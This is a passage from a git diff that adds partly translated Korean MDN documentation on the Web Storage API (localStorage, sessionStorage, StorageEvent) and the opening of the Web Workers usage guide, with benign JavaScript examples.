+ <dd>특정 도메인과 저장 유형(세션 또는 로컬)에 대해 데이터를 저장, 회수, 삭제할 수 있습니다.</dd>
+ <dt>{{domxref("Window")}}</dt>
+ <dd>Web Storage API는 {{domxref("Window")}} 객체를 확장합니다. {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성을 추가해 현재 도메인의 세션과 로컬 {{domxref("Storage")}} 객체의 접근을 가능케 하고, 새로운 항목을 추가하는 등 저장 공간이 변경될 때 발생하는 {{domxref("Window.onstorage")}} 이벤트 처리기도 추가합니다.</dd>
+ <dt>{{domxref("StorageEvent")}}</dt>
+ <dd><code title="event-storage">storage</code> 이벤트는 저장 공간이 변경될 때 <code>Window</code> 객체에서 발생합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>일반적인 Web Storage 사용법을 설명하기 위한 데모를 만들었습니다. 창의적이게도 <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>라는 이름으로, <a href="https://mdn.github.io/dom-examples/web-storage/">랜딩 페이지</a>에서 색, 글꼴, 이미지를 바꿀 수 있습니다. 선택지를 바꾸면 페이지가 실시간으로 변함과 동시에 <code>localStorage</code>에도 현재 상태를 저장하게 되므로, 페이지를 떠났다가 다시 방문해도 선택지가 그대로 보존됩니다.</p>
+
+<p>추가로 이벤트 출력 페이지도 제공 중입니다. 이 페이지를 다른 탭에 열고 랜딩 페이지에서 선택지를 바꾸면 {{domxref("StorageEvent")}}를 통해 업데이트된 저장 정보를 출력하는 것을 볼 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="Window.localStorage"><code>Window.localStorage</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h3 id="Window.sessionStorage"><code>Window.sessionStorage</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+</div>
+</div>
+
+<h2 id="사생활_보호_시크릿_모드">사생활 보호 / 시크릿 모드</h2>
+
+<p>대부분의 최신 브라우저는 탐색 기록과 쿠키를 남기지 않는 "사생활 보호 모드", "시크릿 모드", 또는 비슷한 이름의 기능을 가지고 있습니다. 그리고 정말 분명한 이유로 인해 Web Storage와 호환되지 않습니다. 브라우저 공급자들은 다양한 시나리오에서 이를 해결하기 위해 실험을 진행하고 있습니다.</p>
+
+<p>대부분의 브라우저는 Web Storage API에 접근 가능하며 기능하는 것 처럼 보이지만, 큰 차이점으로서, 브라우저를 닫으면 저장한 데이터를 제거하는 전략을 택하고 있습니다. 이런 브라우저 사이에서도, 일반 브라우징 세션에서 저장한 기존 데이터의 처리법에 대해서는 이견이 존재합니다. 사생활 보호 모드에서도 저 데이터에 접근할 수 있어야 할까요? 그런 반면, 마찬가지로 Web Storage API는 존재하지만 최대 용량을 0바이트 할당하여 어떠한 데이터도 입력할 수 없도록 하는 일부 브라우저도 존재하며, 대표적으로 Safari가 있습니다.</p>
+
+<p>Web Storage API에 의존하는 웹 사이트를 개발할 때, 개발자는 이러한 구현 차이에 대해 고려해야 합니다. 더 많은 정보는 이 주제를 다루는 <a href="https://blog.whatwg.org/tag/localstorage">WHATWG 블로그 글</a>을 참고하세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">브라우저 저장 공간 제한과 정리 기준</a></li>
+</ul>
diff --git a/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html
new file mode 100644
index 0000000000..25ad6cfa5f
--- /dev/null
+++ b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html
@@ -0,0 +1,218 @@
+---
+title: Web Storage API 사용하기
+slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+---
+<div>{{DefaultAPISidebar("Web Storage API")}}</div>
+
+<p>Web Storage API는 브라우저에서 쿠키를 사용하는 것보다 훨씬 직관적으로 key/value 데이터를 안전하게 저장할 수 있는 메커니즘을 제공합니다.</p>
+
+<p>이 글은 본 기술을 어떻게 사용하는지 설명합니다.</p>
+
+<h2 id="기본_컨셉">기본 컨셉</h2>
+
+<p>Storage 객체는 단순한 key-value 저장소이며, 이는 객체와 비슷합니다. 하지만 이 데이터들은 페이지 로딩에도 온전하게 유지됩니다. key와 그 value는 항상 문자열입니다. (만약 정수로 키를 사용할 경우 이는 자동으로 string으로 변경됩니다, 자바스크립트 객체의 동작방식을 생각해보세요) 객체를 사용하듯이 쉽게 값에 접근할 수 있으며, 이 때 {{domxref("Storage.getItem()")}}과 {{domxref("Storage.setItem()")}} 메서드를 사용할 수 있습니다. 아래 세 줄은 (동일한) colorSetting 엔트리에 값을 설정하는 방법입니다.</p>
+
+<pre style="white-space: pre;">localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+</pre>
+
+<div class="note">
+<p><strong>노트</strong>: 일반 객체를 key-value 저장소로 사용할 때 <a href="http://www.2ality.com/2012/01/objects-as-maps.html">pitfalls</a>과 관련된 사항을 막기 위해 Web Storage API(<code>setItem</code>, <code>getItem</code>, <code>removeItem</code>, <code>key</code>, <code>length</code>)를 사용하는 걸 권장합니다.</p>
+</div>
+
+<p>Web Storage는 두 메커니즘을 가지고 있습니다.</p>
+
+<ul>
+ <li><strong><code>sessionStorage</code></strong>는 페이지의 세션이 유지되는 동안 사용할 수 있는 각 origin별로 별도의 스토리지를 관리합니다. (페이지 리로딩 및 복원을 포함한, 브라우저가 열려있는 한 최대한 긴 시간 동안)</li>
+ <li><strong><code>localStorage</code></strong>도 같은 일을 하지만, 브라우저가 닫히거나 다시 열리더라도 유지합니다.</li>
+</ul>
+
+<p>이 메커니즘들은 {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성(좀 더 정확히 말하자면, 지원하는 브라우저에서 <code>Window</code> 객체는 <code>localStorage</code> 및 <code>sessionStorage</code> 속성 사용이 중단되는 <code>WindowLocalStorage</code>과 <code>WindowSessionStorage</code>로 구현됩니다)으로 사용 가능합니다. 이 중 하나를 호출하면 데이터를 설정, 검색 및 제거할 수 있는 {{domxref("Storage")}} 객체의 인스턴스가 생성됩니다. 각 Storage 객체는 각 origin 별 <code>sessionStorage</code> 나 <code>localStorage</code>로 사용됩니다. 동작도 제각기 동작합니다.</p>
+
+<p>예를 들면, 문서에서 <code>localStorage</code>를 호출하면 {{domxref("Storage")}} 객체를 반환합니다. 문서에서 <code>sessionStorage</code>를 호출하면 다른 {{domxref("Storage")}} 객체를 반환합니다. 둘 다 같은 방법으로 조작할 수 있지만, 서로 다릅니다.</p>
+
+<h2 id="localStorage_기능_지원_감지">localStorage 기능 지원 감지</h2>
+
+<p>localStorage를 사용하려면 먼저 현재 브라우징 세션에서 지원되고 사용 가능한지 확인해야합니다.</p>
+
+<h3 id="사용_가능_검사">사용 가능 검사</h3>
+
+<p>localStorage를 지원하는 브라우저는 windows 객체에  localStorage라는 property가 존재 합니다. 그러나 여러 가지 이유로 인해 예외가 발생할 수 있습니다. 존재한다 해도 다양한 브라우저가 localStorage를 비활성화하는 설정을 제공하기 때문에 localStorage가 실제로 사용 가능하다는 보장은 없습니다. 따라서 브라우저가 localStorage를 지원한다고 해도 스크립트에서 사용 하지 못 할 수도 있습니다.  예를 들어 사파리 브라우저의 사생활 보호 모드에서 할당량이 0 인 빈 localStorage 개체를 제공하므로 효과적으로 사용할 수 없게 만듭니다. 이때 QuotaExceededError를 얻을 수도 있습니다.  이는 사용가능한 저장공간을 모두 소모 했다는 의미로, localStorage를 사용할 수 없음을 뜻합니다.  이러한 시나리오를 고려하여 사용가능 여부를 검사하여야 합니다.</p>
+
+<p>다음은 localStorage가 지원되고 사용 가능한지 여부를 감지하는 함수입니다.</p>
+
+<pre><code>function storageAvailable(type) {
+    var storage;
+    try {
+        storage = window[type];
+        var x = '__storage_test__';
+        storage.setItem(x, x);
+        storage.removeItem(x);
+        return true;
+    }
+    catch(e) {
+        return e instanceof DOMException &amp;&amp; (
+            // Firefox를 제외한 모든 브라우저
+            e.code === 22 ||
+            // Firefox
+            e.code === 1014 ||</code>
+<code>            // 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
+            // Firefox를 제외한 모든 브라우저
+            e.name === 'QuotaExceededError' ||
+            // Firefox
+            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &amp;&amp;
+            // </code>이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.<code>
+            (storage &amp;&amp; storage.length !== 0);
+    }
+}</code></pre>
+
+<p>위 함수를 다음과 같이 사용할 수 있습니다.</p>
+
+<pre><code>if (storageAvailable('localStorage')) {
+	// 야호! 우리는 localStorage를 사용할 수 있습니다.
+}
+else {
+	// 슬픈 소식, localStorage를 사용할 수 없습니다.
+}</code></pre>
+
+<p><code>storageAvailable('sessionStorage')</code>를 호출하여 sessionStorage 사용 가능 여부도 확인할 수 있습니다.</p>
+
+<p>여기서 <a href="https://gist.github.com/paulirish/5558557">로컬 스토리지 기능이 존재하는지 확인하는 방법에 대한 기록</a>을 볼 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>To illustrate some typical web storage usage, we have created a simple example, imaginatively called <strong>Web Storage Demo</strong>. The <a href="https://mdn.github.io/dom-examples/web-storage/">landing page</a> provides controls that can be used to customize the color, font, and decorative image:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">다른 색상을 선택하면, 페이지에 바로 적용됩니다. 또한 선택한 값을 <code>localStorage</code>에 저장했다면, 페이지를 나갔다가 나중에 다시 들어왔을 떄 이전에 저장한 값을 기억하고 있습니다.</p>
+
+<p>We have also provided an <a href="https://mdn.github.io/dom-examples/web-storage/event.html">event output page</a> — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a {{domxref("StorageEvent")}} is fired.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: As well as viewing the example pages live using the above links, you can also <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">check out the source code</a>.</p>
+</div>
+
+<h3 id="Testing_whether_your_storage_has_been_populated">Testing whether your storage has been populated</h3>
+
+<p>To start with on <a href="https://github.com/mdn/dom-examples/blob/master/web-storage/main.js">main.js</a>, we will test whether the storage object has already been populated (i.e., the page was previously accessed):</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">if</span><span class="punctuation token">(</span><span class="operator token">!</span>localStorage<span class="punctuation token">.</span><span class="function token">getItem</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">populateStorage</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+  <span class="function token">setStyles</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>The {{domxref("Storage.getItem()")}} method is used to get a data item from storage; in this case, we are testing to see whether the <code>bgcolor</code> item exists; if not, we run <code>populateStorage()</code> to add the existing customization values to the storage. If there are already values there, we run <code>setStyles()</code> to update the page styling with the stored values.</p>
+
+<p><strong>Note</strong>: You could also use {{domxref("Storage.length")}} to test whether the storage object is empty or not.</p>
+
+<h3 id="Getting_values_from_storage">Getting values from storage</h3>
+
+<p>As noted above, values can be retrieved from storage using {{domxref("Storage.getItem()")}}. This takes the key of the data item as an argument, and returns the data value. For example:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">setStyles</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> currentColor <span class="operator token">=</span> localStorage<span class="punctuation token">.</span><span class="function token">getItem</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> currentFont <span class="operator token">=</span> localStorage<span class="punctuation token">.</span><span class="function token">getItem</span><span class="punctuation token">(</span><span class="string token">'font'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> currentImage <span class="operator token">=</span> localStorage<span class="punctuation token">.</span><span class="function token">getItem</span><span class="punctuation token">(</span><span class="string token">'image'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value <span class="operator token">=</span> currentColor<span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'font'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value <span class="operator token">=</span> currentFont<span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'image'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value <span class="operator token">=</span> currentImage<span class="punctuation token">;</span>
+
+  htmlElem<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'#'</span> <span class="operator token">+</span> currentColor<span class="punctuation token">;</span>
+  pElem<span class="punctuation token">.</span>style<span class="punctuation token">.</span>fontFamily <span class="operator token">=</span> currentFont<span class="punctuation token">;</span>
+  imgElem<span class="punctuation token">.</span><span class="function token">setAttribute</span><span class="punctuation token">(</span><span class="string token">'src'</span><span class="punctuation token">,</span> currentImage<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Here, the first three lines grab the values from local storage. Next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. Finally, we update the styles/decorative image on the page, so your customization options come up again on reload.</p>
+
+<h3 id="Setting_values_in_storage">Setting values in storage</h3>
+
+<p>{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">populateStorage</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  localStorage<span class="punctuation token">.</span><span class="function token">setItem</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">,</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  localStorage<span class="punctuation token">.</span><span class="function token">setItem</span><span class="punctuation token">(</span><span class="string token">'font'</span><span class="punctuation token">,</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'font'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  localStorage<span class="punctuation token">.</span><span class="function token">setItem</span><span class="punctuation token">(</span><span class="string token">'image'</span><span class="punctuation token">,</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'image'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="function token">setStyles</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>The <code>populateStorage()</code> function sets three items in local storage — the background color, font, and image path. It then runs the <code>setStyles()</code> function to update the page styles, etc.</p>
+
+<p>We've also included an <code>onchange</code> handler on each form element so that the data and styling are updated whenever a form value is changed:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">bgcolorForm<span class="punctuation token">.</span>onchange <span class="operator token">=</span> populateStorage<span class="punctuation token">;</span>
+fontForm<span class="punctuation token">.</span>onchange <span class="operator token">=</span> populateStorage<span class="punctuation token">;</span>
+imageForm<span class="punctuation token">.</span>onchange <span class="operator token">=</span> populateStorage<span class="punctuation token">;</span></code></pre>
+
+<h3 id="Responding_to_storage_changes_with_the_StorageEvent">Responding to storage changes with the StorageEvent</h3>
+
+<p>The {{domxref("StorageEvent")}} is fired whenever a change is made to the {{domxref("Storage")}} object (note that this event is not fired for sessionStorage changes). This won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects.</p>
+
+<p>On the events page (see <a href="https://github.com/mdn/dom-examples/blob/master/web-storage/event.js">events.js</a>) the only JavaScript is as follows:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'storage'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">e</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-key'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>key<span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-old'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>oldValue<span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-new'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>newValue<span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-url'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>url<span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-storage'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>e<span class="punctuation token">.</span>storageArea<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Here we add an event listener to the <code>window</code> object that fires when the {{domxref("Storage")}} object associated with the current origin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content).</p>
+
+<h3 id="데이터_제거하기">데이터 제거하기</h3>
+
+<p>웹 스토리지에서는 데이터를 삭제하기 위한 두 가지 간단한 메소드를 제공합니다. 데모에서 사용하지는 않았지만, 간단하게 프로젝트에 추가할 수 있습니다:</p>
+
+<ul>
+ <li>{{domxref("Storage.removeItem()")}}는 — 삭제하고 싶은 데이터의 키 —  한 개의 인자를 받습니다. 그리고 해당 도메인의 저장소 객체에서 데이터를 제거합니다.</li>
+ <li>{{domxref("Storage.clear()")}}는 아무 인자도 받지 않습니다. 그리고 해당 도메인의 저장소 객체 전체를 비워버립니다.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Window.localStorage"><code>Window.localStorage</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h3 id="Window.sessionStorage"><code>Window.sessionStorage</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+</div>
+</div>
+
+<p>All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a <a class="external external-icon" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detailed rundown of all the storage capacities for various browsers</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API landing page</a></li>
+</ul>
diff --git a/files/ko/web/api/web_workers_api/basic_usage/index.html b/files/ko/web/api/web_workers_api/basic_usage/index.html
new file mode 100644
index 0000000000..eb0e309e8e
--- /dev/null
+++ b/files/ko/web/api/web_workers_api/basic_usage/index.html
@@ -0,0 +1,908 @@
+---
+title: 웹 워커 사용하기
+slug: Web/API/Web_Workers_API/basic_usage
+translation_of: Web/API/Web_Workers_API/Using_web_workers
+---
+<div class="summary">
+<p>웹 워커는 웹 컨텐츠를 위해서 백그라운드 스레드에서 스크립트를 실행할 간편한 방법을 제공합니다. 워커 스레드는 사용자 인터페이스(UI)를 방해하지 않고 작업을 수행할 수 있습니다. 또한 워커는 ( <code>responseXML</code> 과 <code>channel</code>속성이 언제나 null이지만) <code><a class="internal" href="/en/nsIXMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a></code> 를 사용하여 I/O작업을 수행할 수도 있습니다. 워커는 생성이 된 후에 생성자가 명시한 이벤트 핸들러로 메세지를 올려서 자신의 하위 작업(spawning task)에 메세지를 전달할 수 도 있습니다. 본 글에서 전용 워커와 공유 워커에 대하여 소개합니다.</p>
+</div>
+
+<h2 id="Web_Workers_API">Web Workers API</h2>
+
+<p>Worker는 생성자(예를 들면 {{domxref("Worker.Worker", "Worker()")}})를 사용하여 생성된 객체이며 이름있는 자바스크립트 파일(이 파일은 Worker 스레드에서 실행하는 코드를 가집니다)을 실행합니다. 또한 Worker는 현재의 {{domxref("window")}}와는 다른 글로벌 컨텍스트에서 실행됩니다. 따라서 {{domxref("Worker")}} 내에서 현재의 글로벌 스코프를 접근하기 위해 ({{domxref("window.self","self")}} 대신에) {{domxref("window")}}를 사용해도 오류가 돌아옵니다.</p>
+
+<p>Worker의 콘텍스트는 Dedicated Workers(한 개의 스크립트가 이용하는 표준적인 Workers)일 경우{{domxref("DedicatedWorkerGlobalScope")}} 객체로 제공됩니다. (Shared Workers의 경우는 {{domxref("SharedWorkerGlobalScope")}}). Dedicated Worker 는 Worker 를 처음에 생성한 스크립트만 액세스 할 수 있습니다. 반면에 Shared Worker는, 복수의 스크립트에서 액세스 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: Worker 의 레퍼런스 문서나 추가적인 가이드에 대해서는 <a href="/en-US/docs/Web/API/Web_Workers_API">The Web Workers API landing page</a>를 봐 주세요.</p>
+</div>
+
+<p>Worker Thread에서는 몇 가지 제한 하에서 어떤 코드라도 실행할 수 있습니다. 예를 들어, Worker내에서는 직접 DOM 를 조작할 수 없습니다. 그리고 {{domxref("window")}} 객체의 기본 메서드나 속성에서 사용할 수 없는 것들이 있습니다. 그럼에도 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API">WebSockets</a>과 <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Data_Store_API">Data Store API</a>(Firefox OS 한정)와 같은 데이터 스토리지 메커니즘 등, <code>window</code>에 있는 다수의 아이템을 사용할 수 있습니다.자세한 것은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions and classes available to workers</a>를 봐 주세요.</p>
+
+<p>Worker와 메인 스레드 사이에서는 메시지 시스템을 통해 데이터를 발송합니다. 양쪽 모두 <code>postMessage()</code> 메서드를 사용하여 메시지를 발송하고, <code>onmessage</code>이벤트 핸들러에 의해 메시지에 응답합니다(메시지는 {{event("Message")}}이벤트의 data 속성에 들어갑니다). 데이터는 공유되지 않고 복사됩니다.</p>
+
+<p>Worker 는 새로운 Worker 를 작성할 수 있습니다만, 생성된 Worker는 같은 부모 페이지일 경우에 한합니다. 추가적으로 Worker는 네트워크 I/O를 위한 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a>를 사용할 수 있으나,  <code>responseXML</code>의 exception과 <code>channel</code>속성의 <code>XMLHttpRequest</code>는 항상 null을 반환합니다.</p>
+
+<h2 id="Dedicated_workers">Dedicated workers</h2>
+
+<p>As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the JavaScript found in our <a href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a href="https://mdn.github.io/simple-web-worker/">run dedicated worker</a>): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed.</p>
+
+<p>This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered later on in the article.</p>
+
+<h3 id="Worker_feature_detection">Worker feature detection</h3>
+
+<p>For slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<pre class="brush: js">if (window.Worker) {
+
+  ...
+
+}</pre>
+
+<h3 id="Spawning_a_dedicated_worker">Spawning a dedicated worker</h3>
+
+<p>Creating a new worker is simple. All you need to do is call the {{domxref("Worker.Worker", "Worker()")}} constructor, specifying the URI of a script to execute in the worker thread (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");</pre>
+
+<h3 id="Sending_messages_to_and_from_a_dedicated_worker">Sending messages to and from a dedicated worker</h3>
+
+<p>The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<pre class="brush: js">first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>So here we have two {{htmlelement("input")}} elements represented by the variables <code>first</code> and <code>second</code>; when the value of either is changed, <code>myWorker.postMessage([first.value,second.value])</code> is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.</p>
+
+<p>In the worker, we can respond when the message is received by writing an event handler block like this (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
+
+<pre class="brush: js">onmessage = function(e) {
+  console.log('Message received from main script');
+  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  console.log('Posting message back to main script');
+  postMessage(workerResult);
+}</pre>
+
+<p>The <code>onmessage</code> handler allows us to run some code whenever a message is received, with the message itself being available in the <code>message</code> event's <code>data</code> attribute. Here we simply multiply together the two numbers then use <code>postMessage()</code> again, to post the result back to the main thread.</p>
+
+<p>Back in the main thread, we use <code>onmessage</code> again, to respond to the message sent back from the worker:</p>
+
+<pre class="brush: js">myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Message received from worker');
+}</pre>
+
+<p>Here we grab the message event data and set it as the <code>textContent</code> of the result paragraph, so the user can see the result of the calculation.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The URI passed as a parameter to the <code>Worker</code> constructor must obey the <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a> .</p>
+
+<p>There is currently disagreement among browsers vendors on what URIs are of the same-origin; Gecko 10.0 {{geckoRelease("10.0")}} and later do allow data URIs and Internet Explorer 10 does not allow Blob URIs as a valid script for workers.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Notice that <code>onmessage</code> and <code>postMessage()</code> need to be hung off the <code>Worker</code> object when used in the main script thread, but not when used in the worker. This is because, inside the worker, the worker is effectively the global scope.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: When a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. Read {{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} for a much more thorough explanation.</p>
+</div>
+
